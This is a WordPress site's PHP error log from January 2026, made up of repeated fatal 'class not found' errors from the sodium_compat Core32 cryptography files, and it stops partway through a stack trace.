[04-Jan-2026 10:11:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[04-Jan-2026 10:11:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[04-Jan-2026 10:11:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[04-Jan-2026 10:11:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[04-Jan-2026 10:11:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[04-Jan-2026 10:11:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[04-Jan-2026 10:11:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[04-Jan-2026 10:11:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[04-Jan-2026 10:11:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[04-Jan-2026 10:20:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[04-Jan-2026 10:20:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[04-Jan-2026 10:20:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[04-Jan-2026 10:20:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[04-Jan-2026 10:20:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[04-Jan-2026 10:20:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[04-Jan-2026 10:20:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[04-Jan-2026 10:20:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[04-Jan-2026 10:20:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[04-Jan-2026 10:20:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[04-Jan-2026 10:20:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[04-Jan-2026 10:20:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[04-Jan-2026 10:20:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[05-Jan-2026 18:35:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[05-Jan-2026 18:35:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[05-Jan-2026 18:35:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[05-Jan-2026 18:35:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[05-Jan-2026 18:35:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[05-Jan-2026 18:35:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[05-Jan-2026 18:35:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[05-Jan-2026 18:35:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[05-Jan-2026 18:35:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[05-Jan-2026 18:35:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[05-Jan-2026 18:35:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[05-Jan-2026 18:35:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[05-Jan-2026 18:36:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[06-Jan-2026 01:23:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[06-Jan-2026 01:23:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[06-Jan-2026 01:23:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Jan-2026 01:24:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Jan-2026 01:24:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[06-Jan-2026 01:24:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[06-Jan-2026 01:24:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[06-Jan-2026 01:24:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[06-Jan-2026 01:24:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[06-Jan-2026 01:24:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[06-Jan-2026 01:24:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[06-Jan-2026 01:24:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[06-Jan-2026 01:24:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[06-Jan-2026 01:35:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[06-Jan-2026 01:35:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[06-Jan-2026 01:35:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Jan-2026 01:35:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Jan-2026 01:35:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[06-Jan-2026 01:35:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[06-Jan-2026 01:35:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[06-Jan-2026 01:35:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[06-Jan-2026 01:35:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[06-Jan-2026 01:35:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[06-Jan-2026 01:35:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[06-Jan-2026 01:35:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[06-Jan-2026 01:35:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[07-Jan-2026 04:24:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[07-Jan-2026 04:24:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[07-Jan-2026 04:24:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[07-Jan-2026 04:24:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[07-Jan-2026 04:24:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[07-Jan-2026 04:24:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[07-Jan-2026 04:24:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[07-Jan-2026 04:24:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[07-Jan-2026 04:24:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[07-Jan-2026 04:24:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[07-Jan-2026 04:24:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[07-Jan-2026 04:24:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[07-Jan-2026 04:24:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[13-Jan-2026 06:30:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[13-Jan-2026 06:30:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[13-Jan-2026 06:30:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-Jan-2026 06:30:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-Jan-2026 06:30:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[13-Jan-2026 06:30:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[13-Jan-2026 06:30:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[13-Jan-2026 06:30:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[13-Jan-2026 06:30:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[13-Jan-2026 06:30:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[13-Jan-2026 06:30:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
